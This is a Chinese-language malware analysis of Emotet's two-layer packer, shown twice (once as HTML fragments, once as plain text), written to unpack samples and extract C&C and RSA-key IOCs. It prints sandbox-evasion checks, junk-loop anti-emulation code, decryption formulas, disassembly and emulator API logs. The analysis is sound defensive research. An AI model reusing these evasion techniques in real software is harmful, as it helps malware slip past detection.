</code></pre><p><i> 第二轮解密后的Layer2</i></p><h1 id="layer2">Layer2 </h1><h4 id="layer2-payload-payload-layer1-payload-">Layer2解密Payload并把Payload映射到Layer1内存空间，最后把控制权交给Payload。</h4><h2 id="tricks-1">Tricks </h2><h3 id="--3">垃圾指令</h3><ul><li>使用超大指令循环(循环次数为0x32DCD5=3333333，百万数量级)执行垃圾指令，对抗轻量级模拟引擎检测。</li></ul><pre><code>001E45A7 jmp short 001E45B2
001E45A9 mov eax, dword ptr [ebp-C]
001E45AC add eax, 1
001E45AF mov dword ptr [ebp-C], eax
001E45B2 cmp dword ptr [ebp-C], 32DCD5 <- big number
001E45B9 jnb short 001E45CD
001E45BB push 58
001E45BD push 0
001E45BF lea ecx, dword ptr [ebp-68]
001E45C2 push ecx
001E45C3 call 001E3E20 <- trash call
001E45C8 add esp, 0C
001E45CB jmp short 001E45A9
</code></pre><h2 id="-payload">解密Payload </h2><h4 id="layer2-payload-layer1-">Layer2解密Payload的算法和Layer1第二轮解密的算法是一样的，只能在异或时的参数略有不同。</h4><ul><li>解密算法公式如下。</li></ul><pre><code>decrypted[index] = (encrypted[index]+index)^(index+0x3E9)
</code></pre><h4 id="-pe-payload-">解密后可以看到明显的PE文件特征，到此Payload解密完成。</h4><pre><code>00210000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ?....
00210010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ?......@.......
00210020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00210030 00 00 00 00 00 00 00 00 00 00 00 00 D0 00 00 00 ............?..
00210040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ?.???L?Th
00210050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
00210060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
00210070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......
00210080 C5 0A 2F F1 81 6B 41 A2 81 6B 41 A2 81 6B 41 A2 ?/駚kAkAkA?
00210090 88 13 D2 A2 82 6B 41 A2 81 6B 40 A2 80 6B 41 A2 ?尧俴Ak@kA?
002100A0 8C 39 9E A2 80 6B 41 A2 8C 39 A1 A2 83 6B 41 A2 ?灑€kA9、僰A?
002100B0 FC 12 A4 A2 A5 6B 41 A2 FC 12 9F A2 80 6B 41 A2 ?あAⅫ煝€kA?
002100C0 52 69 63 68 81 6B 41 A2 00 00 00 00 00 00 00 00 Rich乲A?.......
002100D0 50 45 00 00 4C 01 05 00 0A 37 7F 5D 00 00 00 00 PE..L
</code></pre><h4 id="-layer2-payload-push-edx-retn-payload-0x0040f072-">完成解密后，Layer2会把Payload映射到主模块内存,最后通过push edx, retn来转入Payload代码入口0x0040F072。</h4><pre><code>001E469D 5D pop ebp
001E469E 58 pop eax
001E469F 58 pop eax
001E46A0 52 push edx ==> OEP 0040F072
001E46A1 C3 retn
</code></pre><h1 id="-ioc">自动提取IOC </h1><h2 id="--4">对照分析 </h2><h4 id="-layer1-d00rt-ioc-emotet-payload-hook-layer2-dump-">利用上述思路我们分析了更多的样本，发现Layer1依然采用了之前的对抗技术<a href="https://github.com/d00rt/emotet_research/blob/master/doc/EN_emotet_packer_analysis_and_config_extraction_v1.pdf">(参考d00rt的分析报告)</a>，不同样本变形非常严重。想编写一个通用的脚本脱壳并提取IOC几乎不可能。奇怪的是Emotet放弃了Payload阶段一直使用的函数调用Hook技术，Layer2解密后就已经完成了脱壳，所以无需对Dump做额外的修复工作。我们尝试使用轻量级仿真技术来完成这一工作。</h4><ul><li>仿真工具：<a href="https://github.com/seth1002/tracecorn_tina/">https://github.com/seth1002/tracecorn_tina/</a></li></ul><h4 id="-api-payload-">可以看到仿真API日志显示，不同样本在展开Payload之前的行为差异非常大。</h4><pre><code>GetModuleHandleA(lpModuleName=0x00000000:"") = 0x00400000
Unhooked function: GetDC (0x00000001)
Unhooked function: VkKeyScanW (0x00000001)
Unhooked function: IsClipboardFormatAvailable (0x00000001)
Unhooked function: GetKeyboardType (0x00000001)
Unhooked function: GetWindowContextHelpId (0x00000001)
Unhooked function: DestroyCursor (0x00000001)
Unhooked function: GetSystemPaletteUse (0x00000001)
Unhooked function: IsIconic (0x00000001)
Unhooked function: VkKeyScanA (0x00000001)
Unhooked function: CreateSolidBrush (0x00000001)
Unhooked function: IsWindowEnabled (0x00000001)
Unhooked function: GetUserNameA (0x5fffff2c, 0x5fffff98)
Unhooked function: GetStockObject (0x000011ab)
# patch to bypass trash code -> 0x00401229: cmp dword ptr [ebp - 4], 0x1b2e5
Unhooked function: GetTextAlign (0x00000000)
#Load Library:"ADVAPI32")
LoadLibraryA (lpFileName="ADVAPI32") = 70000000 => 0x00401046
GetProcAddress (hModule=0x70000000, lpProcName=0x00430290:"RegOpenKeyA") = 0x7002c41b => 0x0040104d
Unhooked function: LoadCursorW (0x00000000, 0x00000d05)
RegOpenKeyA (hKey=0x80000000, lpSubkey=00430220:"Interface\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}", pHandle=0x004312d0) = 0 => 00401083
#Load Library:"ADVAPI32")
LoadLibraryA (lpFileName="ADVAPI32") = 70000000 => 0x00401251
GetProcAddress (hModule=0x70000000, lpProcName=0x004302a8:"RegQueryValueExA") = 0x700ee5b3 => 0x00401258
Unhooked function: SetErrorMode (0x00000002)
#Load Library:"KERNEL32")
LoadLibraryA (lpFileName="KERNEL32") = 7009b000 => 0x004013e9
GetProcAddress (hModule=0x7009b000, lpProcName=0x004302c8:"GetModuleHandleA") = 0x700e7f41 => 0x004013f0
GetModuleHandleA(lpModuleName=0x00000000:"") = 0x00400000
RegQueryValueExA (hKey=0x00000000, lpValueName=0x004312cc:"", lpReserved=0x00000000, lpValueType=0x5ffffefc, lpBuffer=5ffffe30:"IActiveScriptParseProcedure32", lpBufSize=5ffffef8:29) = 0 => 00401452
VirtualAlloc (lpAddress=0x00000000, dwSize=0x00014800, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00d50434 => 0x00401a17
# patch to bypass trash code -> 0x00d649e6: cmp dword ptr [ebp - 0xc], 0x32dcd5
GetProcAddress (hModule=0x7009b000, lpProcName=0x5ffffe68:"LoadLibraryExA") = 0x700df7fa => 0x00d640ad
Unhooked function: LoadLibraryExA (0x5ffffe78, 0x00000000, 0x00000000)
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50434:"99999934tfserdgfwGetProcAddress") = 0x00000000 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50445:"GetProcAddress") = 0x700ee3d3 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50456:"VirtualAlloc") = 0x700edfb6 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50467:"LoadLibraryExA") = 0x700df7fa => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50478:"SetFilePointer") = 0x700e8b36 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50489:"lstrlenA") = 0x700e5611 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d5049a:"lstrcatA") = 0x700e519f => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d504ab:"VirtualProtect") = 0x700dd341 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d504bc:"UnmapViewOfFile") = 0x700e8b13 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d504cd:"GetModuleHandleA") = 0x700e7f41 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d504de:"WriteFile") = 0x700ec400 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d504ef:"CloseHandle") = 0x700e7a7c => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50500:"VirtualFree") = 0x700ecda4 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50511:"GetTempPathA") = 0x70101a65 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50522:"CreateFileA") = 0x700e7ee8 => 0x00d640f4
GetProcAddress (hModule=0x7009b000, lpProcName=0x5ffffe78:"VirtualAlloc") = 0x700edfb6 => 0x00d64160
VirtualAlloc (lpAddress=0x00000000, dwSize=0x00013880, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00d64c34 => 0x00d64173
VirtualAlloc (lpAddress=0x00000000, dwSize=0x00019000, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00d784b4 => 0x00d6469b
VirtualProtect (lpAddress=00001000, dwSize=0000f0a8, flNewProtect=00d50564, lpflOldProtect=5ffffe64)
VirtualProtect (lpAddress=00011000, dwSize=00000b2e, flNewProtect=00d50544, lpflOldProtect=5ffffe64)
VirtualProtect (lpAddress=00012000, dwSize=00004e60, flNewProtect=00d5054c, lpflOldProtect=5ffffe64)
VirtualProtect (lpAddress=00017000, dwSize=00000004, flNewProtect=00d50544, lpflOldProtect=5ffffe64)
VirtualProtect (lpAddress=00018000, dwSize=00000418, flNewProtect=00d50544, lpflOldProtect=5ffffe64)
Unhooked function: LoadLibraryExA (0x00d89fd4, 0x00000000, 0x00000000)
GetProcAddress (hModule=0x00000000, lpProcName=0x00d89fba:"IsProcessorFeaturePresent") = 0x700f26b5 => 0x00d64487
Unhooked function: UnmapViewOfFile (0x00400000)
#Invalid memory mapping (UC_ERR_MAP)
VirtualAlloc (lpAddress=0x00400000, dwSize=0x00019000, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00400000 => 0x00d647a8
</code></pre><p><i> sha1 4f3adc27bdbdc1235b9d997a251531e77a72088f API log</i></p><pre><code># Load Library:"NCOBJAPI.DLL")
NCOBJAPI.DLL is loaded @ 0x7041b000
LoadLibraryExA (lpLibFileName=00402218 -> "NCOBJAPI.DLL") = 7041b000 => 0x004011ff
# Load Library:"KERNEL32.DLL")
LoadLibraryA (lpFileName="KERNEL32.DLL") = 70094000 => 0x0040121a
Unhooked function: MoveFileW (0x00402279, 0x00402288)
Unhooked function: MoveFileW (0x00402279, 0x00402288)
Unhooked function: MoveFileW (0x00402279, 0x00402288)
VirtualAlloc (lpAddress=0x00000000, dwSize=0x000008d0, flAllocationType=0x00001000, flProtect=0x00000040) = 0x00d50628 => 0x00401347
# Load Library:"KERNEL32.DLL")
LoadLibraryA (lpFileName="KERNEL32.DLL") = 70094000 => 0x00d50636
GetProcAddress (hModule=0x70094000, lpProcName=0x00d50d8a:"HeapAlloc") = 0x00000000 => 0x00d50667
GetProcAddress (hModule=0x70094000, lpProcName=0x00d50d94:"HeapFree") = 0x700dfbd0 => 0x00d50671
GetProcAddress (hModule=0x70094000, lpProcName=0x00d50d9d:"GetTickCount") = 0x700dfa60 => 0x00d5067c
VirtualAlloc (lpAddress=0x00000000, dwSize=0x000008d0, flAllocationType=0x00001000, flProtect=0x00000040) = 0x00d50ef8 => 0x00d50690
VirtualAlloc (lpAddress=0x00000000, dwSize=0x00010000, flAllocationType=0x00001000, flProtect=0x00000004) = 0x00d517c8 => 0x00d514d8
VirtualProtect (lpAddress=00400000, dwSize=00000400, flNewProtect=00000004, lpflOldProtect=5ffffef8)
VirtualProtect (lpAddress=00400000, dwSize=00000400, flNewProtect=00000002, lpflOldProtect=5ffffef8)
VirtualProtect (lpAddress=00401000, dwSize=0000e000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00401000, dwSize=0000e000, flNewProtect=00000020, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=0040f000, dwSize=00001000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=0040f000, dwSize=00001000, flNewProtect=00000002, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00410000, dwSize=00005000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00410000, dwSize=00005000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00415000, dwSize=00001000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00415000, dwSize=00001000, flNewProtect=00000002, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00416000, dwSize=00001000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00416000, dwSize=00001000, flNewProtect=00000002, lpflOldProtect=5ffffed8)
GetModuleHandleA(lpModuleName=0x0040fb20:"KERNEL32.dll") = 0x70094000
VirtualProtect (lpAddress=0040f000, dwSize=00000008, flNewProtect=00000004, lpflOldProtect=5ffffecc)
GetProcAddress (hModule=0x70094000, lpProcName=0x0040fb06:"IsProcessorFeaturePresent") = 0x700eb6b5 => 0x00d51138
VirtualProtect (lpAddress=0040f000, dwSize=00000008, flNewProtect=00000000, lpflOldProtect=5ffffed4)
</code></pre><p><i> sha1 f52e80a79f3685b19fa6cd5fecb093ef3b1ae4da API log</i></p><h4 id="-api--1">这里可以看到更多<a href="https://github.com/seth1002/tracecorn_tina/tree/master/samples/emotet/2019_0918">完整的API日志</a>.</h4><h2 id="ioc-">IOC定位及提取 </h2><h4 id="-cc-rsa-payload-">我们感兴趣的是C&C地址表和RSA密钥。通过仿真脱壳后扫描Payload特征码定位非常方便。</h4><pre><code>.text:00401FA1 68 00 80 00 00 push 8000h
.text:00401FA6 6A 6A push 6Ah
.text:00401FA8 68 D0 F8 40 00 push offset unk_40F8D0 <- RSA key
.text:00401FAD 6A 13 push 13h
.text:00401FAF 68 01 00 01 00 push 10001h
.text:00401FB4 FF 15 F4 05 41 00 call CryptDecodeObjectEx
</code></pre><p><i>RSA密钥相关代码</i></p><pre><code>.text:004060C5 B8 C0 F3 40 00 mov eax, offset stru_40F3C0 <- C&C list
.text:004060CA A3 E0 26 41 00 mov off_4126E0, eax
.text:004060CF A3 E4 26 41 00 mov off_4126E4, eax
.text:004060D4 33 C0 xor eax, eax
</code></pre><p><i>C&C地址表相关代码</i></p><h4 id="-ioc-">把上述代码转为特征码，通过写脚本来提取相关IOC信息。具体的实现代码<a href="https://github.com/seth1002/tracecorn_tina/blob/master/emotet_ioc_extractor.py">点这里</a></h4> | * 加载过程
* Layer1 Tricks 解密Layer2
* Layer2 Tricks 解密Payload
* 自动提取IOC 对照分析 IOC定位及提取
加载过程
示例样本: ./emotet/2019_0918
* Layer1解密Layer2和Payload代码并转入Layer2代码
* Layer2加载Payload转由Payload执行。
Layer1
Layer1会做一些简单的对抗并解密Layer2，最后把控制权交给Layer2。
Tricks
绕过特定用户
* 可能是针对某特定沙箱的用户名做对抗。当用户名第1个字符为J，第3个字符为H，第5个字符为D时直接退出。
GetUserNameA(char *char_name, &pcbBuffer);
if ( char_name[0] != 'J' || char_name[2] != 'H' || char_name[4] != 'D' )
result = satrt_4011D0((int)char_J);
else
result = 0;
垃圾API调用
* 随机的API组合调用，使得基于API序列的检测方法失效
Unhooked function: GetDC (0x00000001)
Unhooked function: VkKeyScanW (0x00000001)
Unhooked function: IsClipboardFormatAvailable (0x00000001)
Unhooked function: GetKeyboardType (0x00000001)
Unhooked function: GetWindowContextHelpId (0x00000001)
Unhooked function: DestroyCursor (0x00000001)
Unhooked function: GetSystemPaletteUse (0x00000001)
Unhooked function: IsIconic (0x00000001)
Unhooked function: VkKeyScanA (0x00000001)
Unhooked function: CreateSolidBrush (0x00000001)
Unhooked function: IsWindowEnabled (0x00000001)
Unhooked function: GetUserNameA (0x5fffff2c, 0x5fffff98)
Unhooked function: GetStockObject (0x000011ab)
* 在超大循环中调用API(循环次数为0x00001B2E5，十万次数量级调用)，对抗基于API序列的检测。同时也可以对抗轻量级模拟器引擎的检测。
00401220: 8B45FC 7 mov eax,[ebp][-4]
00401223: 83C001 add eax,1
00401226: 8945FC mov [ebp][-4],eax
00401229: 817DFCE5B20100 5 cmp d,[ebp][-4],00001B2E5
00401230: 730A jnc .00040123C --↓6
00401232: 6A00 push 0
00401234: FF15E4074300 call GetTextAlign
0040123A: EBE4 jmps .000401220 --↑7
检查注册表项
* 检测冷门的注册表键值是否存在，对抗轻量级模拟检测
RegOpenKeyA (hKey=0x80000000, lpSubkey=00430220:"Interface\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}", pHandle=0x004312d0) = 0 => 00401083
RegQueryValueExA (hKey=0x00000000, lpValueName=0x004312cc:"", lpReserved=0x00000000, lpValueType=0x5ffffefc, lpBuffer=5ffffe30:"IActiveScriptParseProcedure32", lpBufSize=5ffffef8:29) = 0 => 00401452
解密Layer2
加密状态的Layer2数据块在0x0041AA8C, 0x41AA88保存了数据块的长度0x14800。
* 第一轮解密算法中包含很多无效指令干扰分析，而算法本身非常简单。循环剔除每隔0x4B处的一个字节的数据，即下列数据中尖括号中的0x42。
0041AA80 00 00 00 00 00 00 00 00 [00 48 01 00] [3F 39 39 39
0041AA90 2F 39 33 34 72 66 73 65 54 64 67 66 51 31 31 31
0041AAA0 17 31 32 63 5A 64 64 72 F7 30 31 00 06 00 6D 6E
0041AAB0 F7 30 32 32 30 76 34 34 31 63 00 00 06 00 00 6E
0041AAC0 23 6A 6B 31 1F 62 31 61 E8 65 45 78 C7 FF FF FF
0041AAD0 E8 65 67 67 35 6C 65 <42> 50 F1 68 6E 74 E3 71 00
0041AAE0 00 06 6C 73 74 D4 6B 65 6E C7 FF FF FF 06 00 00
0041AAF0 00 06 00 6C 73 B2 71 63 61 9A 40 00 00 06 00 00
0041AB00 00 06 00 00 56 9F 71 74 75 67 6C 50 72 69 74 65
0041AB10 63 7A 00 00 00 53 6E 6D 61 56 56 69 65 51 4F 66
...
加密状态的Layer2
* 第二轮解密同样掺杂了大量无效指令，分析可以发现使用如下公式可以解密。
decrypted[index] = (encrypted[index]+index)^(index+6)
00000000: 39 39 39 39-39 39 33 34-74 66 73 65-72 64 67 66 99999934tfserdgf
00000010: 77 47 65 74-50 72 6F 63-41 64 64 72-65 73 73 00 wGetProcAddress
00000020: 00 00 56 69-72 74 75 61-6C 41 6C 6C-6F 63 00 00 VirtualAlloc
00000030: 00 00 00 4C-6F 61 64 4C-69 62 72 61-72 79 45 78 LoadLibraryEx
00000040: 41 00 00 00-53 65 74 46-69 6C 65 50-6F 69 6E 74 A SetFilePoint
00000050: 65 72 00 00-00 6C 73 74-72 6C 65 6E-41 00 00 00 er lstrlenA
00000060: 00 00 00 00-00 00 6C 73-74 72 63 61-74 41 00 00 lstrcatA
00000070: 00 00 00 00-00 00 00 56-69 72 74 75-61 6C 50 72 VirtualPr
00000080: 6F 74 65 63-74 00 00 00-55 6E 6D 61-70 56 69 65 otect UnmapVie
00000090: 77 4F 66 46-69 6C 65 00-00 47 65 74-4D 6F 64 75 wOfFile GetModu
000000A0: 6C 65 48 61-6E 64 6C 65-41 00 57 72-69 74 65 46 leHandleA WriteF
000000B0: 69 6C 65 00-00 00 00 00-00 00 00 43-6C 6F 73 65 ile Close
000000C0: 48 61 6E 64-6C 65 00 00-00 00 00 00-56 69 72 74 Handle Virt
000000D0: 75 61 6C 46-72 65 65 00-00 00 00 00-00 47 65 74 ualFree Get
000000E0: 54 65 6D 70-50 61 74 68-41 00 00 00-00 00 43 72 TempPathA Cr
000000F0: 65 61 74 65-46 69 6C 65-41 00 00 00-00 00 00 00 eateFileA
...
第二轮解密后的Layer2
Layer2
Layer2解密Payload并把Payload映射到Layer1内存空间，最后把控制权交给Payload。
Tricks
垃圾指令
* 使用超大指令循环(循环次数为0x32DCD5=3333333，百万数量级)执行垃圾指令，对抗轻量级模拟引擎检测。
001E45A7 jmp short 001E45B2
001E45A9 mov eax, dword ptr [ebp-C]
001E45AC add eax, 1
001E45AF mov dword ptr [ebp-C], eax
001E45B2 cmp dword ptr [ebp-C], 32DCD5 <- big number
001E45B9 jnb short 001E45CD
001E45BB push 58
001E45BD push 0
001E45BF lea ecx, dword ptr [ebp-68]
001E45C2 push ecx
001E45C3 call 001E3E20 <- trash call
001E45C8 add esp, 0C
001E45CB jmp short 001E45A9
解密Payload
Layer2解密Payload的算法和Layer1第二轮解密的算法是一样的，只能在异或时的参数略有不同。
* 解密算法公式如下。
decrypted[index] = (encrypted[index]+index)^(index+0x3E9)
解密后可以看到明显的PE文件特征，到此Payload解密完成。
00210000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ?....
00210010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ?......@.......
00210020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00210030 00 00 00 00 00 00 00 00 00 00 00 00 D0 00 00 00 ............?..
00210040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ?.???L?Th
00210050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
00210060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
00210070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......
00210080 C5 0A 2F F1 81 6B 41 A2 81 6B 41 A2 81 6B 41 A2 ?/駚kAkAkA?
00210090 88 13 D2 A2 82 6B 41 A2 81 6B 40 A2 80 6B 41 A2 ?尧俴Ak@kA?
002100A0 8C 39 9E A2 80 6B 41 A2 8C 39 A1 A2 83 6B 41 A2 ?灑€kA9、僰A?
002100B0 FC 12 A4 A2 A5 6B 41 A2 FC 12 9F A2 80 6B 41 A2 ?あAⅫ煝€kA?
002100C0 52 69 63 68 81 6B 41 A2 00 00 00 00 00 00 00 00 Rich乲A?.......
002100D0 50 45 00 00 4C 01 05 00 0A 37 7F 5D 00 00 00 00 PE..L
完成解密后，Layer2会把Payload映射到主模块内存,最后通过push edx, retn来转入Payload代码入口0x0040F072。
001E469D 5D pop ebp
001E469E 58 pop eax
001E469F 58 pop eax
001E46A0 52 push edx ==> OEP 0040F072
001E46A1 C3 retn
自动提取IOC
对照分析
利用上述思路我们分析了更多的样本，发现Layer1依然采用了之前的对抗技术(参考d00rt的分析报告)，不同样本变形非常严重。想编写一个通用的脚本脱壳并提取IOC几乎不可能。奇怪的是Emotet放弃了Payload阶段一直使用的函数调用Hook技术，Layer2解密后就已经完成了脱壳，所以无需对Dump做额外的修复工作。我们尝试使用轻量级仿真技术来完成这一工作。
* 仿真工具：https://github.com/seth1002/tracecorn_tina/
可以看到仿真API日志显示，不同样本在展开Payload之前的行为差异非常大。
GetModuleHandleA(lpModuleName=0x00000000:"") = 0x00400000
Unhooked function: GetDC (0x00000001)
Unhooked function: VkKeyScanW (0x00000001)
Unhooked function: IsClipboardFormatAvailable (0x00000001)
Unhooked function: GetKeyboardType (0x00000001)
Unhooked function: GetWindowContextHelpId (0x00000001)
Unhooked function: DestroyCursor (0x00000001)
Unhooked function: GetSystemPaletteUse (0x00000001)
Unhooked function: IsIconic (0x00000001)
Unhooked function: VkKeyScanA (0x00000001)
Unhooked function: CreateSolidBrush (0x00000001)
Unhooked function: IsWindowEnabled (0x00000001)
Unhooked function: GetUserNameA (0x5fffff2c, 0x5fffff98)
Unhooked function: GetStockObject (0x000011ab)
# patch to bypass trash code -> 0x00401229: cmp dword ptr [ebp - 4], 0x1b2e5
Unhooked function: GetTextAlign (0x00000000)
#Load Library:"ADVAPI32")
LoadLibraryA (lpFileName="ADVAPI32") = 70000000 => 0x00401046
GetProcAddress (hModule=0x70000000, lpProcName=0x00430290:"RegOpenKeyA") = 0x7002c41b => 0x0040104d
Unhooked function: LoadCursorW (0x00000000, 0x00000d05)
RegOpenKeyA (hKey=0x80000000, lpSubkey=00430220:"Interface\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}", pHandle=0x004312d0) = 0 => 00401083
#Load Library:"ADVAPI32")
LoadLibraryA (lpFileName="ADVAPI32") = 70000000 => 0x00401251
GetProcAddress (hModule=0x70000000, lpProcName=0x004302a8:"RegQueryValueExA") = 0x700ee5b3 => 0x00401258
Unhooked function: SetErrorMode (0x00000002)
#Load Library:"KERNEL32")
LoadLibraryA (lpFileName="KERNEL32") = 7009b000 => 0x004013e9
GetProcAddress (hModule=0x7009b000, lpProcName=0x004302c8:"GetModuleHandleA") = 0x700e7f41 => 0x004013f0
GetModuleHandleA(lpModuleName=0x00000000:"") = 0x00400000
RegQueryValueExA (hKey=0x00000000, lpValueName=0x004312cc:"", lpReserved=0x00000000, lpValueType=0x5ffffefc, lpBuffer=5ffffe30:"IActiveScriptParseProcedure32", lpBufSize=5ffffef8:29) = 0 => 00401452
VirtualAlloc (lpAddress=0x00000000, dwSize=0x00014800, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00d50434 => 0x00401a17
# patch to bypass trash code -> 0x00d649e6: cmp dword ptr [ebp - 0xc], 0x32dcd5
GetProcAddress (hModule=0x7009b000, lpProcName=0x5ffffe68:"LoadLibraryExA") = 0x700df7fa => 0x00d640ad
Unhooked function: LoadLibraryExA (0x5ffffe78, 0x00000000, 0x00000000)
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50434:"99999934tfserdgfwGetProcAddress") = 0x00000000 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50445:"GetProcAddress") = 0x700ee3d3 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50456:"VirtualAlloc") = 0x700edfb6 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50467:"LoadLibraryExA") = 0x700df7fa => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50478:"SetFilePointer") = 0x700e8b36 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50489:"lstrlenA") = 0x700e5611 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d5049a:"lstrcatA") = 0x700e519f => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d504ab:"VirtualProtect") = 0x700dd341 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d504bc:"UnmapViewOfFile") = 0x700e8b13 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d504cd:"GetModuleHandleA") = 0x700e7f41 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d504de:"WriteFile") = 0x700ec400 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d504ef:"CloseHandle") = 0x700e7a7c => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50500:"VirtualFree") = 0x700ecda4 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50511:"GetTempPathA") = 0x70101a65 => 0x00d640f4
GetProcAddress (hModule=0x00000000, lpProcName=0x00d50522:"CreateFileA") = 0x700e7ee8 => 0x00d640f4
GetProcAddress (hModule=0x7009b000, lpProcName=0x5ffffe78:"VirtualAlloc") = 0x700edfb6 => 0x00d64160
VirtualAlloc (lpAddress=0x00000000, dwSize=0x00013880, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00d64c34 => 0x00d64173
VirtualAlloc (lpAddress=0x00000000, dwSize=0x00019000, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00d784b4 => 0x00d6469b
VirtualProtect (lpAddress=00001000, dwSize=0000f0a8, flNewProtect=00d50564, lpflOldProtect=5ffffe64)
VirtualProtect (lpAddress=00011000, dwSize=00000b2e, flNewProtect=00d50544, lpflOldProtect=5ffffe64)
VirtualProtect (lpAddress=00012000, dwSize=00004e60, flNewProtect=00d5054c, lpflOldProtect=5ffffe64)
VirtualProtect (lpAddress=00017000, dwSize=00000004, flNewProtect=00d50544, lpflOldProtect=5ffffe64)
VirtualProtect (lpAddress=00018000, dwSize=00000418, flNewProtect=00d50544, lpflOldProtect=5ffffe64)
Unhooked function: LoadLibraryExA (0x00d89fd4, 0x00000000, 0x00000000)
GetProcAddress (hModule=0x00000000, lpProcName=0x00d89fba:"IsProcessorFeaturePresent") = 0x700f26b5 => 0x00d64487
Unhooked function: UnmapViewOfFile (0x00400000)
#Invalid memory mapping (UC_ERR_MAP)
VirtualAlloc (lpAddress=0x00400000, dwSize=0x00019000, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00400000 => 0x00d647a8
sha1 4f3adc27bdbdc1235b9d997a251531e77a72088f API log
# Load Library:"NCOBJAPI.DLL")
NCOBJAPI.DLL is loaded @ 0x7041b000
LoadLibraryExA (lpLibFileName=00402218 -> "NCOBJAPI.DLL") = 7041b000 => 0x004011ff
# Load Library:"KERNEL32.DLL")
LoadLibraryA (lpFileName="KERNEL32.DLL") = 70094000 => 0x0040121a
Unhooked function: MoveFileW (0x00402279, 0x00402288)
Unhooked function: MoveFileW (0x00402279, 0x00402288)
Unhooked function: MoveFileW (0x00402279, 0x00402288)
VirtualAlloc (lpAddress=0x00000000, dwSize=0x000008d0, flAllocationType=0x00001000, flProtect=0x00000040) = 0x00d50628 => 0x00401347
# Load Library:"KERNEL32.DLL")
LoadLibraryA (lpFileName="KERNEL32.DLL") = 70094000 => 0x00d50636
GetProcAddress (hModule=0x70094000, lpProcName=0x00d50d8a:"HeapAlloc") = 0x00000000 => 0x00d50667
GetProcAddress (hModule=0x70094000, lpProcName=0x00d50d94:"HeapFree") = 0x700dfbd0 => 0x00d50671
GetProcAddress (hModule=0x70094000, lpProcName=0x00d50d9d:"GetTickCount") = 0x700dfa60 => 0x00d5067c
VirtualAlloc (lpAddress=0x00000000, dwSize=0x000008d0, flAllocationType=0x00001000, flProtect=0x00000040) = 0x00d50ef8 => 0x00d50690
VirtualAlloc (lpAddress=0x00000000, dwSize=0x00010000, flAllocationType=0x00001000, flProtect=0x00000004) = 0x00d517c8 => 0x00d514d8
